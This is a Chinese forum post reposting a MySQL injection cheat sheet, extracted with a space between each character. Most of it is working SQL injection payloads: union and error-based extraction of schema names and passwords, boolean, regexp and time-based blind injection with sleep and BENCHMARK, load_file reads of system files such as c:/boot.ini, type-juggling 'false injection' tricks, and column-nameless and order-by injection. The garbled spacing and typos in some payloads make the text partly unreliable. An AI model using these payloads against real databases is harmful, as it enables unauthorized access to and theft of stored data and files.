搜索

[1084] 2020-03-16_听说这是史上最全的Mysql注入笔记？

文档创建者：s7ckTeam
浏览次数：160
最后更新：2025-01-16
2020-03-16_听说这是史上最全的Mysql注入笔记？ 听 说 这 是 史 上 最 全 的 M y s q l 注 入 笔 记 ？ C h a B u g 运 营 小 哥 哥   C h a B u g   2 0 2 0 - 0 3 - 1 6 M Y S Q L 注 入 笔 记 函 数 v e r s i o n ( ) — — M y S Q L   版 本 u s e r ( ) — — 数 据 库 用 户 名 d a t a b a s e ( ) — — 数 据 库 名 @ @ d a t a d i r — — 数 据 库 路 径 @ @ v e r s i o n _ c o m p i l e _ o s — — 操 作 系 统 版 本 i n f o r m a t i o n _ s c h e m a   自 带 数 据 库 i n f o r m a t i o n _ s c h e m a . s c h e m a t a   数 据 库 i n f o r m a t i o n _ s c h e m a . t a b l e s   数 据 表 i n f o r m a t i o n _ s c h e m a . c o l u m n s   数 据 列 f l o o r 函 数 返 回 小 于 等 于 该 值 的 最 大 整 数 R A N D ( ) 函 数 调 用 可 以 在 0 和 1 之 间 产 生 一 个 随 机 数 j o i n ( 连 接 ) 联 合 注 入 报 错 注 入 ： u n i o n   s e l e c t   1 , ( s e l e c t   g r o u p _ c o n c a t ( s c h e m a _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . s c h e m a t a ) , ( s e l e c t   g r o u p _ c o n c a t ( t a b l e _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e r a n d ( ) f l o o r ( )
简 化 关 键 表 被 禁 用 r a n d   禁 用 e x p m y s q l 重 复 性 a n d   ( s e l e c t   1   f r o m   ( s e l e c t   c o u n t ( * ) , c o n c a t ( ( p a y l o a d ) , f l o o r   ( r a n d ( 0 ) * 2 ) ) x   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   g r o u p   b y   x ) a ) a n d   ( s e l e c t   c o u n t ( * )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   g r o u p   b y   c o n c a t ( u s e r ( ) , f l o o r ( r a n d ( 0 ) * 2 ) ) )   - -   + 1 '   a n d   u p d a t e x m l ( 1 , u s e r ( ) , 1 )   - - + 只 有 在 p a y l o a d 返 回 的 不 是 x m l 格 式 才 会 生 效 , 其 最 长 输 出 3 2 位 e x t r a c t v a l u e ( 1 , c o n c a t ( ' ~ ' , u s e r ( ) , ' ~ ' ) ) 其 最 长 输 出 3 2 位 s e l e c t   c o u n t ( * )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   g r o u p   b y   c o n c a t ( v e r s i o n ( ) ,   f l o o r ( r a n d ( 0 ) * 2 ) ) s e l e c t   c o u n t ( * )   f r o m   ( s e l e c t   1   u n i o n   s e l e c t   n u l l   u n i o n s e l e c t   ! 1 ) a   g r o u p   b y   c o n c a t ( v e r s i o n ( ) , f l o o r ( r a n d ( 0 ) * 2 ) ) s e l e c t   m i n ( @ a : = 1 )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   g r o u p   b y   c o n c a t ( p a s s w o r d , @ a : = ( @ a + 1 ) % 2 ) s e l e c t   e x p ( ~ ( s e l e c t   *   F R O M ( S E L E C T   U S E R ( ) ) a ) ) s e l e c t   *   f r o m   ( s e l e c t   N A M E _ C O N S T ( v e r s i o n ( ) , 1 ) , N A M E _ C O N S T ( v e r s i o n ( ) , 1 ) ) x ;
布 尔 注 入 r e g e x p   正 则 注 入 l i k e   匹 配 注 入 延 时 注 入 导 入 导 出 操 作 M y s q l   F a l s e 注 入 遇 到 引 号 闭 合 的 变 量 时 l e f t ( d a t a b a s e ( ) , 1 ) > ' s ' 截 取 数 据 库 第 一 位 a s c i i ( s u b s t r ( ( s e l e c t   t a b l e _ n a m e   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e s _ s c h e m a   = d a t a b a s e ( ) l i m i t   0 , 1 ) , 1 , 1 ) ) = 1 0 1   - - + s u b s t r ( a , b , c )   从 b 位 置 开 始 ， 截 取 字 符 串 a 的 c 长 度 a s c i i ( )   将 某 个 字 符 转 为 a s c i i 值 a s c i i ( s u b s t r ( s e l e c t   d a t a b a s e ( ) ) , 1 , 1 ) = 9 8 O R D ( M I D ( ( S E L E C T   I F N U L L ( C A S T ( u s e r n a m e   A S   C H A R ) , 0 x 2 0 ) F R O M   s e c u r i t y . u s e r s   O R D E R   B Y   i d   L I M I T   0 , 1 ) , 1 , 1 ) ) > 9 8 % 2 3 m i d ( a , b , c )   从 位 置 b 开 始 ， 截 取 a 字 符 串 的 c 位 o r d ( ) 同 a s c i i ( ) ， 将 字 符 串 转 为 a s c i i 值 s e l e c t   u s e r ( )   r e g e x p   ' ^ [ a - z ] ' ; s e l e c t   u s e r ( )   r e g e x p   ' ^ r o ' s e l e c t   *   f r o m   u s e r s   w h e r e   i d = 1   a n d   1 = ( i f ( ( u s e r ( )   r e g e x p   ' ^ r ' ) , 1 , 0 ) ) ; s e l e c t   *   f r o m   u s e r s   w h e r e   i d = 1   a n d   1 = ( s e l e c t   1   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = ' s e c u r i t y '   a n d   t a b l e _ n a m e   r e g e x p   ' ^ u s [ a - z ] '   l i m i t   0 , 1 ) ; s e l e c t   u s e r ( )   l i k e   ' r o o t % ' I f ( a s c i i ( s u b s t r ( d a t a b a s e ( ) , 1 , 1 ) ) > 1 1 5 , 0 , s l e e p ( 5 ) ) % 2 3 U N I O N   S E L E C T   I F ( S U B S T R I N G ( c u r r e n t , 1 , 1 ) = C H A R ( 1 1 9 ) , B E N C H M A R K ( 5 0 0 0 0 0 0 , E N C O D E ( ‘ M   S G ’ , ’ b y   5   s e c o n d s ’ ) ) , n u l l )   F R O M   ( s e l e c t   d a t a b a s e ( )   a s   c u r r e n t )   a s   t b 1 ; l o a d _ f i l e ( ) 导 出 文 件 S e l e c t   1 , 2 , 3 , 4 , 5 , 6 , 7 , h e x ( r e p l a c e ( l o a d _ f i l e ( c h a r ( 9 9 , 5 8 , 9 2 , 1 1 9 , 1 0 5 , 1 1 0 , 1 0 0 , 1 1 1 , 1 1 9 , 1 1 5 , 9 2 ,   1 1 4 , 1 0 1 , 1 1 2 , 9 7 , 1 0 5 , 1 1 4 , 9 2 , 1 1 5 , 9 7 , 1 0 9 ) ) ) - 1   u n i o n   s e l e c t   1 , 1 , 1 , l o a d _ f i l e ( c h a r ( 9 9 , 5 8 , 4 7 , 9 8 , 1 1 1 , 1 1 1 , 1 1 6 , 4 6 , 1 0 5 , 1 1 0 , 1 0 5 ) )   E x p l a i n : “ c h a r ( 9 9 , 5 8 , 4 7 , 9 8 , 1 1 1 , 1 1 1 , 1 1 6 , 4 6 , 1 0 5 , 1 1 0 , 1 0 5 ) ” 就 是 “ c : / b o o t . i n i ” 的   A S C I I   代 码 - 1   u n i o n   s e l e c t   1 , 1 , 1 , l o a d _ f i l e ( 0 x 6 3 3 a 2 f 6 2 6 f 6 f 7 4 2 e 6 9 6 e 6 9 )   E x p l a i n : “ c : / b o o t . i n i ” 的   1 6   进 制 是 “ 0 x 6 3 3 a 2 f 6 2 6 f 6 f 7 4 2 e 6 9 6 e 6 9 ” - 1   u n i o n   s e l e c t   1 , 1 , 1 , l o a d _ f i l e ( c : b o o t . i n i )   E x p l a i n : 路 径 里 的 / 用   代 替
这 很 明 显 会 转 换 失 败 算 数 运 算 +   如 果 两 个 参 数 比 较 ， 有 至 少 一 个 N U L L ， 结 果 就 是 N U L L ， 除 了 是 用 N U L L < = > N U L L   会 返 回 1 。 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 两 个 参 数 都 是 字 符 串 ， 按 照 字 符 串 比 较 。 不 做 类 型 转 换 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 两 个 参 数 都 是 整 数 ， 按 照 整 数 比 较 。 不 做 类 型 转 换 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 如 果 不 与 数 字 进 行 比 较 ， 则 将 十 六 进 制 值 视 为 二 进 制 字 符 串 。 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 有 一 个 参 数 是   T I M E S T A M P   或   D A T E T I M E ， 并 且 另 外 一 个 参 数 是 常 量 ， 常 量 会 被 转 换 为 时 间 戳 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 有 一 个 参 数 是   d e c i m a l   类 型 ， 如 果 另 外 一 个 参 数 是   d e c i m a l   或 者 整 数 ， 会 将 整 数 转 换 为   d e c i m a l   后 进 行 比 较 ， 如 果 另 外 一 个 参 数 是 浮 点 数 ， 则 会 把   d e c i m a l   转 换 为 浮 点 数 进 行 比 较 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 所 有 其 他 情 况 下 ， 两 个 参 数 都 会 被 转 换 为 浮 点 数 再 进 行 比 较 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 最 后 那 一 句 话 很 重 要 ， 说 明 如 果 我 是 字 符 串 和 数 字 比 较 ， 需 要 将 字 符 串 转 为 浮 点 数 ， u s e r n a m e =   ' a d m i n ' + ( p a y l o a d )
-   *   /   位 运 算 u s e r n a m e   = ' a d m i n ' - - ( p a y l o a d ) u s e r n a m e   = ' 1 a b c ' *   ( p a y l o a d ) u s e r n a m e   = ' 1 a b c ' /   ( p a y l o a d ) 1 ’ - ( a s c i i ( m i d ( ( p a s s w d ) f r o m ( n ) ) ) = m ) - ’ 正 常 的 用 法 如 下 ， 对 于 s t r 字 符 串 ， 从 p o s 作 为 索 引 值 位 置 开 始 ， 返 回 截 取 l e n 长 度 的 子 字 符 串 M I D ( s t r , p o s , l e n ) 这 里 的 用 法 是 ， f r o m ( 1 ) 表 示 从 第 一 个 位 置 开 始 截 取 剩 下 的 字 符 串 ， f o r ( 1 ) 表 示 从 改 位 置 起 一 次 就 截 取 一 个 字 符 m i d ( ( s t r ) f r o m ( i ) ) m i d ( ( s t r ) f r o m ( i ) f o r ( 1 ) )
&   |   或 ^   异 或 ' < < 0 ' > > 0 #   移 位 操 作 逻 辑 运 算 < >   不 等 于 =   等 于 其 他 u s e r n a m e = ' 1 a b c ' & ( p a y l o a d ) u s e r n a m e = ' a d m i n ' < > ( p a y l o a d ) u s e r n a m e = ' a d m i n ' = ( p a y l o a d ) ' + 1   i s   n o t   n u l l # ' i n ( - 1 , 1 ) # ' n o t   i n ( 1 , 0 ) # ' l i k e   1 # ' R E G E X P   1 # ' B E T W E E N   1   A N D   1 # ' d i v   1 # ' x o r   1 # ' = r o u n d ( 0 , 1 ) = ' 1 ' < > i f n u l l ( 1 , 2 ) = ' 1
M y s q l   无 列 名 注 入 s e l e c t   *   f r o m   u s e r s s e l e c t   1 , 2 , 3   u n i o n   s e l e c t   *   f r o m   u s e r s ; s e l e c t   ` 2 `   f r o m   ( s e l e c t   1 , 2 , 3   u n i o n   s e l e c t   *   f r o m   u s e r s ) r e d f o r c e ;
查 询 几 个 字 段 数 目 M y s q l   o r d e r   b y   注 入 u n i o n   注 入 s e l e c t   *   f r o m   u s e r s   w h e r e   i d = - 1   u n i o n   s e l e c t   1 , ( s e l e c t   c o n c a t ( ` 2 ` , 0 x 3 a , ` 3 ` )   f r o m   ( s e l e c t   1 , 2 , 3   u n i o n   s e l e c t   *   f r o m   u s e r s ) a   l i m i t   1 , 1 ) , 3 ; s e l e c t   *   f r o m   ( s e l e c t   1 ) a , ( s e l e c t   2 ) b , ( s e l e c t   3   ) c   u n i o n   s e l e c t   *   f r o m   u s e r s   s e l e c t   *   f r o m   u s e r s
s e l e c t   *   f r o m   u s e r s   u n i o n   s e l e c t   1 , 2 , 3   o r d e r   b y   3 s e l e c t   *   f r o m   u s e r s   u n i o n   s e l e c t   1 , 2 , ' a d m i n '   o r d e r   b y   3
i f 盲 注 需 要 知 道 列 名 不 需 要 知 道 列 名 s e l e c t   *   f r o m   u s e r s   u n i o n   s e l e c t   1 , 2 , ' a d m i n a a '   o r d e r   b y   3 o r d e r   b y   i f ( 1 = 1 , i d , u s e r n a m e ) o r d e r   b y   i f ( 表 达 式 , 1 , ( s e l e c t   i d   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s ) )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理